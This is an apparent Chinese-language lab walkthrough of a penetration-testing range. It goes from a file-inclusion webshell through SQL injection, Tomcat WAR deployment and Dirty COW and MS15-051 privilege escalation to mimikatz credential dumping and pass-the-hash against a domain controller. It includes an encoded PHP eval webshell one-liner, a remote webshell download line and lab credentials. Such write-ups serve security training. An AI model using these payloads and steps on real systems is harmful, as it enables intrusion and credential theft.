靶场环境

修改host文件,路径 C:\Windows\System32\drivers\etc\hosts,添加如下配置
172.16.6.10 www.theyer.com
172.16.6.10 shop.theyer.com

总体思路

为了避免读者“不识庐山真面目,只缘身在此山中”,被我混乱的操作搞得云里雾里,笔者先在前面画了一张思路图供大家参考

外网边界渗透

题目入口:www.theyer.com
拿到主站入口以后,开始信息搜集:子域名信息搜集,搜集到shop.theyer.com,继续进行目录信息搜集和端口信息搜集
目录扫描发现了一个upload目录(后面用得到),端口信息搜集发现开放了3306端口,可以尝试爆破口令(无果)

入口点一:文件包含getshell

在首页随意点击功能模块,发现如下内容:
http://shop.theyer.com/index.php?page=about.php

可疑存在文件包含漏洞,尝试 php://input 伪协议执行php函数,可以成功,那么直接写webshell了,或者在certutil没被拦截的情况下直接cs上线了

直接写马

<?php echo `echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pPz4=|base64 -d > upload/shell.php` ;?>

或者先在本地起web服务(实战中就在公网vps上起),放入txt文本,用php中copy函数远程下载webshell保存到本地

<?php copy("http://172.16.8.2/1.txt","upload/shell.php");?>

这里面记录一个坑点,直接写在当前目录是没有写权限的,通过前面的目录信息搜集发现存在upload目录,而upload目录一般都是有可写权限的,因此往upload目录写就可以成功了。之后菜刀连接成功,www目录发现第一个flag

搜集一波密码,在www.theyer.com 这个站api中找到注释了的数据库连接信息

提权

想切到root目录看看还有没有flag,但是发现没权限。当前用户为centos用户,非root。尝试进行提权,先查看内核版本

可以藏牛提权,上传dirty.c在服务器上编译后执行,成功提权。

gcc -pthread dirty.c -o dirty -lcrypt
./dirty test123


提权成功,切换到提权用户失败,直接ssh连接吧。查看到第二个flag

入口点二:apk渗透

从上面的入口点一,实际上边界服务器的两个flag已经拿完了,这套题已经结束了,但是我后来又发现了一个入口点,存在SQL注入,也可以作为一种实战渗透的时候的思路,这里记录一下:

在主站 www.theyer.com 首页中有一个下载apk的地方,静态分析源码找接口


后缀改成zip得到dex的汇编文件class.dex,将其反汇编得源代码,找到接口ULR,发现是.php?id=1形式,尝试SQL注入,成功

内网渗透

查看主机网络信息,发现双网卡


上传reGeorg,配置代理,进行内网扫描,探测主机和端口信息,扫到如下存活主机

从js接口信息泄露到SQL注入到后台getshell

192.168.6.17开放80端口


同样先进行信息搜集,目录扫描的时候注意控制一下扫描速度,因为这里是走的代理进行扫描,如果扫描流量一旦过大代理就很容易崩掉

python3 dirsearch.py -u http://192.168.6.17/ -e * --delay 0.1


扫到一个admin目录,别的也没什么有价值的东西。查看网页首页源代码,一个js函数引起了我的注意。


发现这个函数在js/main.js中引入,查看这个文件找到了泄漏的请求接口


尝试直接访问这个接口:http://192.168.6.17/message.php?id=1


这个系统维护就是我们一开始看到的首页的系统维护,尝试对接口进行SQL注入,发现存在数值型盲注


SQLmap启动:


发现flag表,flag字段,内含有一个flag


还有一个admin表我们不能遗漏,成功拿到了管理员的密码

解密md5得到明文密码


拿到密码admin/37s984pass,之前目录扫描扫到admin目录,,403到login,登录后台,发现个人信息处可以上传图片,没有任何过滤直接getshell


拿到shell路径
http://192.168.6.17/upload/images/20200806121306.php


根目录下又发现一个flag

读远程配置文件登录邮件服务器后SQL注入

拿到shell以后翻翻服务器中源码的配置文件,在/inc/config.php中拿到远程连接内网邮件服务器
192.168.6.16的STMP服务器配置
SMTP连接用户名和密码为:zhangming@test.com/fgpass2814
MYSQL数据库用户名密码myoa/myoa123123

用邮箱用户名和密码从web端登录192.168.6.16邮件服务器,可以成功登录


经过抓包、测试,看到cookie字段的id=1很可疑,尝试注入,发现cookie部分存在SQL注入


得到邮件服务器的管理员用户名密码为admin/22f2e5ec0bf4b85554c755993e2ba67f,解密得2_333admin

从Tomcat弱口令部署war包到发现域控

192.168.6.16这一台服务器80端口是邮件服务器,同时开放了8080端口,访问后发现是tomcat


tomcat/tomcat弱口令进后台后部署war包getshell


在/var/www目录找到第一个flag


root目录下发现第二个flag

因为这里拿到了服务器的权限,因此可以直接找配置文件连接数据库,最终查看到邮件服务器管理员的密码,和之前通过cookie注入拿到的管理员密码方式殊途同归。
在/var/www/html/找到80端口的服务根目录,在inc目录找到数据库配置文件


3306端口没有对外开放,尝试冰蝎自带的数据库连接功能发现连不上,使用蚁剑的数据库连接。需要重新上传一个webshell,注意上传webshell默认没执行权限,需要chmod加权限(这个问题我在实战中遇到过好多次)

查看服务器apache日志文件,在/var/log/apache2/access_log,发现192.168.6.200这台主机的访问记录,且是访问了邮件服务器的manager的,很明显是管理员了。根据日志猜测192.168.6.200这台应该是管理员的主机,并且密码很可能为mail系统管理员的密码

这里我们把之前搜集到的所有密码合成字典,进行爆破


爆破可登录端口,192.168.6.200远程桌面登录成功
192.168.6.200----RDP----3389----admin----2_333admin


远程桌面连接,在记事本历史记录发现flag


直接查看发现权限不够,需要提权

systeminfo查看主机信息,根据补丁确定可以使用ms15-051进行提权,提权成功。如下图:

全盘查找flag

dir c:\ /s /b |find "flag"


提权后可以通过type命令查看,也可以新添加用户,赋予管理员权限,再远程桌面登录查看

登录域控

发现主机存在域环境,信息搜集找域名,域名为myad.com


ping myad.com找到域控的地址为10.1.1.10,并且通过nslookup可以看到域控也是DNS服务器

mimiktz读密码,抓到了administrator、admin的明文密码和$server的hash


这里可以使用读出来的administrator/ppx()0778直接登录域控,访问\10.1.1.10\c$,在根目录发现flag

也可以使用administrator的hash进行hash传递,成功登录域控,如下图:


type c:/flag.txt 拿到flag

点击收藏 | 1 关注 | 2
登录 后跟帖